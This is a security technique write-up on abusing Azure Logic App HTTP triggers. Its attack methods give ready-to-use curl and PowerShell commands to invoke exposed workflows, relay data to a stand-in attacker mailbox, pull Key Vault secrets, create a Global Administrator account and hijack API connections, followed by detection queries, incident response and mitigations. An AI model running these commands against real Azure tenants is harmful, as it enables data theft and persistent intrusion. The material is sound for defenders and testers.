MCADDF

[IA-EXPLOIT-003]: Logic App HTTP Trigger Abuse

Metadata

Attribute Details
Technique ID IA-EXPLOIT-003
MITRE ATT&CK v18.1 T1190 - Exploit Public-Facing Application
Tactic Initial Access
Platforms Entra ID, Azure, M365
Severity Critical
CVE N/A (Design Flaw / Misconfiguration)
Technique Status ACTIVE
Last Verified 2025-12-30
Affected Versions Azure Logic Apps (Consumption & Standard) - All current versions
Patched In N/A - Design pattern requires manual mitigation
Author SERVTEPArtur Pchelnikau

Note: Sections 6 (Atomic Red Team) and 11 (Sysmon Detection) not included because: (1) No dedicated Atomic test exists for Logic Apps HTTP trigger exploitation, (2) Logic Apps are cloud-native with no Sysmon instrumentation. Section 12 (Microsoft Defender for Cloud) addresses Logic Apps-specific security recommendations. All section numbers have been dynamically renumbered based on applicability.


2. EXECUTIVE SUMMARY

Concept: Azure Logic Apps with HTTP triggers are often deployed with overly permissive authentication configurations. By default, these triggers accept requests via SAS (Shared Access Signature) tokens without requiring Entra ID OAuth. Attackers can invoke Logic App workflows remotely, potentially triggering sensitive business processes, accessing connected resources (Storage, Key Vault, SQL), or performing actions on behalf of the Logic App’s Managed Identity. Even when Entra ID authentication is enabled, misconfigured access controls and the ability to reuse authorized API connections allow unauthorized workflow execution.[3][9][23]

Attack Surface: HTTP-triggered Logic App endpoints exposed to the internet, misconfigured authentication policies, over-permissive role-based access control (RBAC) on Logic App resources, and insecure API connections (Azure Storage, Key Vault, Office 365).

Business Impact: Unauthorized execution of automated workflows can lead to data exfiltration, business process disruption, unauthorized API calls on connected systems, lateral movement into cloud resources, or persistence via hijacked API connections.[27]

Technical Context: Exploitation typically requires discovery of the Logic App endpoint (via Shodan, Azure IP scanning, or credential leakage). Once discovered, any unauthenticated attacker can trigger the workflow within seconds. Logging is often sparse unless specifically configured, making detection difficult.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Azure v2.0 5.2.1 Ensure that ‘Enforce HTTPS’ is set to ‘HTTPS only’ for App Services
CIS Azure v2.0 5.2.3 Ensure that ‘Managed identity’ is enabled on App Services
DISA STIG SI-12 Information System Monitoring (Application Logging)
NIST 800-53 AC-3 Access Enforcement (Unauthorized requests to APIs)
NIST 800-53 SI-4 Information System Monitoring (Detect HTTP trigger abuse)
GDPR Art. 32 Security of Processing (Adequate access controls)
DORA Art. 9 Protection and Prevention (Cyber Risk Controls)
NIS2 Art. 21 Cyber Risk Management Measures
ISO 27001 A.9.2.3 Management of Privileged Access Rights
ISO 27001 A.14.2.1 System Hardening & Change Management

3. TECHNICAL PREREQUISITES

Supported Versions:

Tools:


4. ENVIRONMENTAL RECONNAISSANCE

Azure Portal / PowerShell Reconnaissance

# Enumerate subscriptions and Logic Apps (requires Contributor/Reader role)
Connect-AzAccount
Get-AzSubscription | ForEach-Object {
    Select-AzSubscription -SubscriptionId $_.Id
    Get-AzLogicApp | Select-Object Name, ResourceGroupName, Location
}

# Extract Logic App trigger URLs (Consumption model)
$logicApp = Get-AzLogicApp -ResourceGroupName "rg-name" -Name "logic-app-name"
$definition = Get-AzLogicAppTriggerCallbackUrl -ResourceGroupName "rg-name" -Name "logic-app-name" -TriggerName "manual"
$definition.Value  # Contains the HTTP trigger URL with SAS token

What to Look For:

Unauthenticated Reconnaissance (No Azure Credentials):

# Shodan search for exposed Logic Apps
shodan search "logic.azure.com" --limit 100

# Azure IP range scanning
nmap -p 443 <azure-ip-range> --script http-title

# GitHub reconnaissance (Leaked credentials/URLs)
site:github.com "logic.azure.com" OR "azurewebsites.net/api"
site:github.com filetype:env "LOGIC_APP_URL"

What to Look For:


5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Direct HTTP Trigger Invocation (Unauthenticated)

Supported Versions: All (Consumption & Standard with default auth)

Step 1: Discover Logic App Endpoint

Objective: Identify the publicly accessible HTTP trigger URL

Command (curl - reconnaissance):

# If URL is known (e.g., from GitHub leak or Shodan):
curl -v https://<region>.logic.azure.com:443/workflows/<resource-id>/triggers/manual/invoke \
  -H "Content-Type: application/json" \
  -d '{"test":"payload"}'

# Look for 200/202 response or missing 401 Unauthorized

Command (Shodan search):

# Online via shodan.io interface or CLI:
shodan search "hostname:logic.azure.com" limit:100
# Results will include exposed Logic App endpoints

Expected Output:

HTTP/1.1 202 Accepted
{
  "id": "/subscriptions/.../workflows/.../runs/08585...",
  "name": "08585...",
  "type": "Microsoft.Logic/workflows/runs",
  "properties": {
    "startTime": "2025-12-30T...",
    "endTime": null,
    "status": "Running",
    "trigger": {...}
  }
}

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Trigger Workflow with Malicious Payload

Objective: Execute the Logic App workflow with payload that performs attacker’s objective

Command (Execute sensitive operation):

# Example 1: Trigger Logic App that sends emails (spam/phishing relay)
curl -X POST "https://<region>.logic.azure.com:443/workflows/.../triggers/manual/invoke?..." \
  -H "Content-Type: application/json" \
  -d '{
    "to": "attacker@external.com",
    "subject": "Exfiltrated Data",
    "body": "Here is sensitive information...",
    "attachment": "base64encodeddata"
  }'

# Example 2: Trigger Logic App that accesses Key Vault secrets
curl -X POST "https://<region>.logic.azure.com:443/workflows/.../triggers/manual/invoke?..." \
  -H "Content-Type: application/json" \
  -d '{
    "secretName": "admin-password",
    "action": "retrieve"
  }'

# Example 3: Trigger Logic App that creates Azure AD users (persistence)
curl -X POST "https://<region>.logic.azure.com:443/workflows/.../triggers/manual/invoke?..." \
  -H "Content-Type: application/json" \
  -d '{
    "displayName": "Attacker Admin",
    "userPrincipalName": "attacker-admin@tenant.onmicrosoft.com",
    "password": "P@ssw0rd123!",
    "role": "Global Administrator"
  }'

Expected Output: Depends on workflow logic. Common outputs:

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Exfiltrate Output / Establish Persistence

Objective: Capture workflow output or establish persistent access

Command (Retrieve run history with output):

# If attacker has Azure credentials or can escalate:
Get-AzLogicAppRunHistory -ResourceGroupName "rg" -Name "logic-app" | 
  Select-Object -Last 5 | 
  ForEach-Object { Get-AzLogicAppRunAction -ResourceGroupName "rg" -Name "logic-app" -RunName $_.Name }

# Extract output from specific action:
(Get-AzLogicAppRunAction -ResourceGroupName "rg" -Name "logic-app" -RunName "run-id" -ActionName "Action_Name").Output

Command (Establish persistence via Logic App modification):

# If attacker has Contributor role on Logic App:
# Modify workflow definition to include attacker's email/webhook endpoint

$logicApp = Get-AzLogicApp -ResourceGroupName "rg" -Name "logic-app"
$definition = Get-Content -Path "modified-definition.json" -Raw
Update-AzLogicApp -ResourceGroupName "rg" -Name "logic-app" -Definition $definition

Expected Behavior:

OpSec & Evasion:


METHOD 2: OAuth Token Bypass (Entra ID OAuth Enabled but SAS Not Disabled)

Supported Versions: All (when OAuth is enabled but SAS remains active)

Step 1: Obtain Valid Entra ID Token

Objective: Acquire an Entra ID access token for Logic App

Command (Device Code Flow - No Credentials):

# Prompt user to authenticate on another device
curl -X POST "https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/devicecode" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "client_id=<client-id>&scope=https://management.core.windows.net/.default"

# Response example:
# {
#   "device_code": "NAGXiKa...",
#   "user_code": "ABC123DEF",
#   "verification_uri": "https://microsoft.com/devicelogin",
#   "expires_in": 900
# }

Command (Credentials - If Compromised):

curl -X POST "https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "client_id=<client-id>&username=user@tenant.onmicrosoft.com&password=<password>&grant_type=password&scope=https://management.core.windows.net/.default"

Expected Output:

{
  "access_token": "eyJ0eXAiOiJKV1QiLCJhbGc...",
  "token_type": "Bearer",
  "expires_in": 3599
}

OpSec & Evasion:

Step 2: Invoke Logic App with OAuth Token

Objective: Use Entra ID token to bypass SAS requirement

Command:

# Extract token from previous step
export BEARER_TOKEN="eyJ0eXAiOiJKV1QiLCJhbGc..."

# Invoke Logic App HTTP trigger with OAuth token
curl -X POST "https://<region>.logic.azure.com:443/workflows/.../triggers/manual/invoke" \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer $BEARER_TOKEN" \
  -d '{"action": "exfiltrate_data", "target": "attacker@external.com"}'

Expected Output:

HTTP/1.1 202 Accepted
{
  "id": "/subscriptions/.../workflows/.../runs/...",
  "status": "Running"
}

What This Means:

OpSec & Evasion:


METHOD 3: API Connection Hijacking

Supported Versions: All (when Logic App has authorized connections to external services)

Step 1: Enumerate API Connections

Objective: Identify authorized connections in target Logic App

Command (PowerShell - Requires Reader role):

# Get Logic App definition
$logicApp = Get-AzLogicApp -ResourceGroupName "rg" -Name "target-logic-app"
$definition = $logicApp.Definition | ConvertFrom-Json

# Extract API connections
$definition.resources | Where-Object { $_.type -eq "Microsoft.Web/connections" }

# Or enumerate at subscription level
Get-AzResource -ResourceType "Microsoft.Web/connections" | 
  Select-Object Name, ResourceGroupName, Properties

Expected Output:

Name: office365
Type: Microsoft.Web/connections
Properties: {
  displayName: "Office 365",
  customParameterValues: {...},
  connectionRuntimeUrl: "https://..."
}

OpSec & Evasion:

Step 2: Create Malicious Logic App Reusing Connection

Objective: Hijack the authorized API connection for attacker’s workflow

Command (Create malicious Logic App):

# Create a new Logic App in attacker-controlled resource group
$workflowDefinition = @{
    "$schema" = "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#"
    contentVersion = "1.0.0.0"
    triggers = @{
        manual = @{
            type = "Request"
            kind = "Http"
            inputs = @{
                schema = @{}
            }
        }
    }
    actions = @{
        "Send_Email" = @{
            type = "ApiConnection"
            inputs = @{
                host = @{
                    connection = @{
                        name = "@parameters('$connections')['office365']['connectionId']"
                    }
                }
                method = "post"
                path = "/Mail"
                body = @{
                    To = "attacker@external.com"
                    Subject = "Exfiltrated Data"
                    Body = "Retrieved from hijacked connection"
                }
            }
        }
    }
    parameters = @{
        "$connections" = @{
            type = "Object"
            defaultValue = @{}
        }
    }
} | ConvertTo-Json -Depth 10

# Deploy the Logic App
New-AzLogicApp -ResourceGroupName "attacker-rg" -Name "hijacked-app" `
  -Definition $workflowDefinition -Location "eastus"

Expected Behavior:

OpSec & Evasion:


6. SPLUNK DETECTION RULES

Rule 1: Unauthorized Logic App HTTP Trigger Invocation

Rule Configuration:

SPL Query:

sourcetype="azure:audit" OperationName="Workflows_WorkflowTriggerInvoked" 
  ResourceType="Microsoft.Logic/workflows"
| stats count by CallerIpAddress, ResourceName, OperationName
| where count > 3
| eval risk="high" 
| table CallerIpAddress, ResourceName, count, risk

What This Detects:

Manual Configuration Steps:

  1. Log into Splunk Web → Search & Reporting
  2. Click SettingsSearches, reports, and alerts
  3. Click New Alert
  4. Paste the SPL query above
  5. Set Trigger Condition to when the result count is greater than 3
  6. Configure ActionSend email to SOC@company.com
  7. Set alert to run every 5 minutes

Source: Splunk Azure Monitoring Add-on Documentation

Rule 2: Suspicious Logic App API Connection Usage

Rule Configuration:

SPL Query:

sourcetype="azure:audit" OperationName="ApiConnections_GetConnectionProperties" 
  ResourceType="Microsoft.Web/connections"
  AND NOT (earliest=@d@d 09:00:00 latest=@d@d 17:30:00)
  AND NOT InitiatedBy="*admin*"
| stats count by InitiatedBy, ResourceName, CallerIpAddress
| table InitiatedBy, ResourceName, CallerIpAddress, count

What This Detects:

False Positive Analysis:


7. MICROSOFT SENTINEL DETECTION

Query 1: Unauthorized Logic App Trigger Invocation

Rule Configuration:

KQL Query:

AuditLogs
| where OperationName =~ "Create Logic App" or OperationName =~ "Workflow Triggered"
| where ResultType =~ "Success"
| where InitiatedBy !contains "admin" and InitiatedBy !contains "service"
| extend CallerIP = parse_json(AdditionalDetails)[0].value
| where isnotempty(CallerIP)
| summarize TriggerCount = count() by InitiatedBy, TargetResources, CallerIP, OperationName
| where TriggerCount > 5
| project InitiatedBy, TargetResources, CallerIP, TriggerCount, OperationName

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: Unauthorized Logic App HTTP Trigger Invocation
    • Severity: High
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 1 hour
  6. Incident settings Tab:
    • Enable Create incidents
    • Group events by: InitiatedBy, TargetResources
  7. Click Review + create

Manual Configuration Steps (PowerShell):

# Connect to Sentinel workspace
Connect-AzAccount
$ResourceGroup = "rg-sentinel"
$WorkspaceName = "workspace-prod"

# Create the analytics rule
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
  -DisplayName "Unauthorized Logic App HTTP Trigger Invocation" `
  -Query @"
AuditLogs
| where OperationName =~ "Workflow Triggered"
| where ResultType =~ "Success"
| where InitiatedBy !contains "admin"
| summarize TriggerCount = count() by InitiatedBy, TargetResources
| where TriggerCount > 5
"@ `
  -Severity "High" `
  -Enabled $true `
  -QueryFrequency "PT5M" `
  -QueryPeriod "PT1H"

Source: Microsoft Sentinel Detection Strategies - Azure Logic Apps

Query 2: Logic App API Connection Credential Extraction

Rule Configuration:

KQL Query:

AuditLogs
| where OperationName =~ "Get Connection Properties" or OperationName contains "Secret"
| where TargetResources contains "connections"
| where ResultType =~ "Success"
| extend TargetResource = parse_json(TargetResources)[0].displayName
| project TimeGenerated, InitiatedBy, OperationName, TargetResource, CallerIpAddress
| summarize CredentialAccessCount = count() by InitiatedBy, TargetResource
| where CredentialAccessCount >= 2

What This Detects:


8. WINDOWS EVENT LOG MONITORING

Not applicable for cloud-native Azure Logic Apps (no local Windows logs). Monitoring occurs in Azure Activity Log and Audit Logs.

Alternative Monitoring:

Manual Configuration Steps (Azure Monitor Alert):

  1. Open Azure PortalMonitorAlerts
  2. Click + CreateAlert Rule
  3. Scope: Select Logic App resource
  4. Condition:
    • Signal: “Workflow runs failed”
    • Operator: “Greater than”
    • Threshold: “5” failures in 5 minutes
  5. Actions: Email SOC team
  6. Alert Rule Details: Name: “Logic App Failure Spike”
  7. Click Create alert rule

9. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Alert Name: “Suspicious Logic App HTTP Trigger Invocation”

Alert Name: “Logic App Using Overly Permissive Access Controls”

Manual Configuration Steps (Enable Defender for Cloud):

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings
  3. Select your subscription
  4. Under Defender plans, enable:
    • Defender for Servers: ON
    • Defender for App Service: ON (covers Logic Apps)
    • Defender for Resource Manager: ON (monitors control plane)
  5. Click Save
  6. Go to Security alerts to view triggered alerts

Reference: Microsoft Defender for Cloud - Logic Apps Security Assessment


10. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Query: Logic App Trigger Invocation Audit

Search-UnifiedAuditLog -Operations "Workflows_WorkflowTriggerInvoked" -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date)

Manual Configuration Steps (Enable Unified Audit Log):

  1. Navigate to Microsoft Purview Compliance Portal (compliance.microsoft.com)
  2. Go to Audit (left menu)
  3. If not enabled, click Turn on auditing
  4. Wait 24 hours for log retention to activate (audit data starts being collected)

Manual Configuration Steps (Search Audit Logs):

  1. Go to AuditSearch
  2. Set Date range (Start/End): Last 7 days
  3. Under Activities, select: Workflows Triggered or search for “Logic”
  4. Under Users, enter: Logic App name or leave blank for all
  5. Click Search
  6. Export results: ExportDownload all results

PowerShell Query:

Connect-ExchangeOnline
$results = Search-UnifiedAuditLog -Operations "Workflows_WorkflowTriggerInvoked" `
  -StartDate "12/23/2025" -EndDate "12/30/2025"
$results | Export-Csv -Path "C:\Logic_App_Audit.csv" -NoTypeInformation

11. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

1. Immediate Containment

Command (Disable Logic App):

# Disable the Logic App immediately
$logicApp = Get-AzLogicApp -ResourceGroupName "rg" -Name "compromised-logic-app"
Set-AzLogicApp -ResourceGroupName "rg" -Name "compromised-logic-app" -State "Disabled"

Manual (Azure Portal):

2. Collect Evidence

Command (Export run history):

# Collect all runs from past 24 hours
$runs = Get-AzLogicAppRunHistory -ResourceGroupName "rg" -Name "logic-app" | 
  Where-Object { $_.StartTime -gt (Get-Date).AddDays(-1) }

# Export to JSON for forensic analysis
$runs | ConvertTo-Json -Depth 10 | Out-File -Path "C:\Evidence\logic-app-runs.json"

# Collect detailed action outputs
foreach ($run in $runs) {
    Get-AzLogicAppRunAction -ResourceGroupName "rg" -Name "logic-app" -RunName $run.Name | 
      Export-Csv -Path "C:\Evidence\run-$($run.Name)-actions.csv"
}

Manual (Azure Portal):

3. Investigation

Command (Check for unauthorized modifications):

# Export Logic App definition and compare to version control
$definition = Get-AzLogicApp -ResourceGroupName "rg" -Name "logic-app"
$definition.Definition | ConvertTo-Json -Depth 10 | Out-File -Path "C:\Evidence\current-definition.json"

# Check for new actions added (e.g., webhook to attacker domain)
$definition.Definition.actions | Where-Object { $_.type -eq "Http" -or $_.type -eq "Webhook" }

4. Remediate

Command (Restore from backup definition):

# Restore Logic App to last known-good definition
$cleanDefinition = Get-Content -Path "C:\Backups\logic-app-definition-safe.json" | ConvertFrom-Json
Update-AzLogicApp -ResourceGroupName "rg" -Name "logic-app" -Definition ($cleanDefinition | ConvertTo-Json -Depth 10)

# Re-enable Logic App
Set-AzLogicApp -ResourceGroupName "rg" -Name "logic-app" -State "Enabled"

12. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

1. Disable SAS Authentication on HTTP Triggers

Requires Bicep/ARM template or REST API (not available in portal).

Manual Steps (Bicep Deployment):

resource logicApp 'Microsoft.Logic/workflows@2019-05-01' = {
  name: 'my-logic-app'
  location: location
  properties: {
    definition: definition
    parameters: parameters
    accessControl: {
      triggers: {
        sasAuthenticationPolicy: {
          state: 'Disabled'  // CRITICAL: Disables SAS tokens
        }
      }
    }
  }
}

Manual Steps (PowerShell):

# Get Logic App resource
$logicApp = Get-AzLogicApp -ResourceGroupName "rg" -Name "logic-app"

# Modify definition to disable SAS
$definition = $logicApp.Definition | ConvertFrom-Json
$definition.properties.accessControl = @{
    triggers = @{
        sasAuthenticationPolicy = @{
            state = "Disabled"
        }
    }
}

# Update Logic App
Update-AzLogicApp -ResourceGroupName "rg" -Name "logic-app" `
  -Definition ($definition | ConvertTo-Json -Depth 10)

Validation Command (Verify Fix):

$logicApp = Get-AzLogicApp -ResourceGroupName "rg" -Name "logic-app"
$logicApp.Definition | ConvertFrom-Json | Select-Object -ExpandProperty properties | Select-Object -ExpandProperty accessControl

Expected Output (If Secure):

triggers
-------
@{sasAuthenticationPolicy=@{state=Disabled}}

What to Look For:

2. Enforce Entra ID Authentication with Specific Roles

Manual Steps (PowerShell - Configure OAuth):

# Configure Logic App to require Entra ID OAuth with specific app role

# Step 1: Create App Registration for Logic App
$appReg = New-AzADApplication -DisplayName "logic-app-auth" -IdentifierUris "api://logic-app-auth"

# Step 2: Create service principal
New-AzADServicePrincipal -ApplicationId $appReg.Id

# Step 3: Configure Logic App trigger with OAuth
$definition = $logicApp.Definition | ConvertFrom-Json

# Add authorization policy to trigger
$definition.triggers.manual = @{
    type = "Request"
    kind = "Http"
    inputs = @{
        schema = @{}
    }
    operationOptions = "IncludeAuthorizationHeadersInOutputs"
}

# Add authorization policy
$definition | Add-Member -MemberType NoteProperty -Name "authorizations" -Value @{
    oauth2 = @{
        policies = @{
            AAD = @{
                type = "AAD"
                issuer = "https://sts.windows.net/<tenant-id>/"
                audience = "api://logic-app-auth"
                appid = $appReg.Id
            }
        }
    }
}

# Update Logic App
Update-AzLogicApp -ResourceGroupName "rg" -Name "logic-app" -Definition ($definition | ConvertTo-Json -Depth 10)

Manual Steps (Azure Portal - Role-Based Access):

  1. Go to Azure PortalLogic AppAccess Control (IAM)
  2. Click + AddAdd role assignment
  3. Role: Logic App Operator
  4. Assign to: Specific user or group (e.g., Service Principal, Team Lead)
  5. Click Review + assign

Priority 2: HIGH

3. Implement Conditional Access Policy

Manual Steps:

  1. Go to Azure PortalEntra IDSecurityConditional Access
  2. Click + New policy
  3. Name: Restrict Logic App Access to Managed Devices
  4. Assignments:
    • Users: All users
    • Cloud apps: Select Logic App app registration
  5. Conditions:
    • Device state: Mark device as compliant required
    • Locations: Block access from untrusted locations
  6. Access controls:
    • Grant: Require device to be marked as compliant
  7. Enable policy: On
  8. Click Create

4. Implement IP Restrictions

Manual Steps (Consumption Logic App):

  1. Go to Azure PortalLogic AppNetworking
  2. Under Inbound traffic:
    • Click Restrict public access
    • Configure allowed IP ranges (internal corporate IPs)
  3. Click Save

Manual Steps (Standard Logic App):

resource logicApp 'Microsoft.Web/sites@2021-02-01' = {
  properties: {
    serverFarmId: appServicePlan.id
    ipSecurityRestrictions: [
      {
        ipAddress: '203.0.113.0/24'  // Allowed IP range
        action: 'Allow'
        priority: 100
        name: 'AllowCorporateNetwork'
      }
      {
        ipAddress: '0.0.0.0/0'
        action: 'Deny'
        priority: 200
        name: 'DenyAllOthers'
      }
    ]
  }
}

5. Audit and Monitor API Connections

Manual Steps:

  1. Go to Logic AppAPI Connections
  2. For each connection:
    • Click connection name
    • Review who has Edit or Delete permissions
    • Remove excess permissions
  3. Enable Azure Monitor alerts on connection usage

Step Phase Technique Description
1 Initial Access [IA-EXPLOIT-003] Logic App HTTP Trigger Abuse
2 Execution [T1651 - Resource Hijacking] Logic App executes attacker’s payload (C# inline code execution possible)
3 Lateral Movement [T1550 - Use Alternate Authentication] Attacker reuses Logic App’s Managed Identity to access other Azure resources
4 Persistence [T1136 - Create Account] Logic App creates new Entra ID accounts with admin roles
5 Exfiltration [T1537 - Transfer Data to Cloud Account] Logic App sends stolen data via authorized Office 365/Email connection

14. REAL-WORLD EXAMPLES

Example 1: NetSPI - “Illogical Apps” Attack Chain (2024)

Example 2: Scattered Spider - Logic App Reconnaissance (2024-2025)

Example 3: Government Sector Supply Chain Attack (2025)


15. ATOMIC RED TEAM TESTING

Note: No dedicated Atomic Red Team test exists for Logic Apps HTTP trigger abuse as of v5.0. The MITRE ATT&CK community recognizes T1190 (Exploit Public-Facing Application) but has not yet released Logic Apps-specific tests.

Alternative Testing Approach:

Custom Test Script:

# Atomic Red Team - Custom Logic App Test
function Invoke-LogicAppTest {
    param(
        [string]$LogicAppUrl,
        [hashtable]$Payload
    )
    
    $response = Invoke-WebRequest -Uri $LogicAppUrl `
      -Method POST `
      -ContentType "application/json" `
      -Body ($Payload | ConvertTo-Json)
    
    if ($response.StatusCode -eq 202) {
        Write-Host "[+] Logic App triggered successfully (202 Accepted)"
        return $true
    } else {
        Write-Host "[-] Logic App trigger failed with status: $($response.StatusCode)"
        return $false
    }
}

# Usage:
# Invoke-LogicAppTest -LogicAppUrl "https://..." -Payload @{action="test"}

APPENDIX: Additional Resources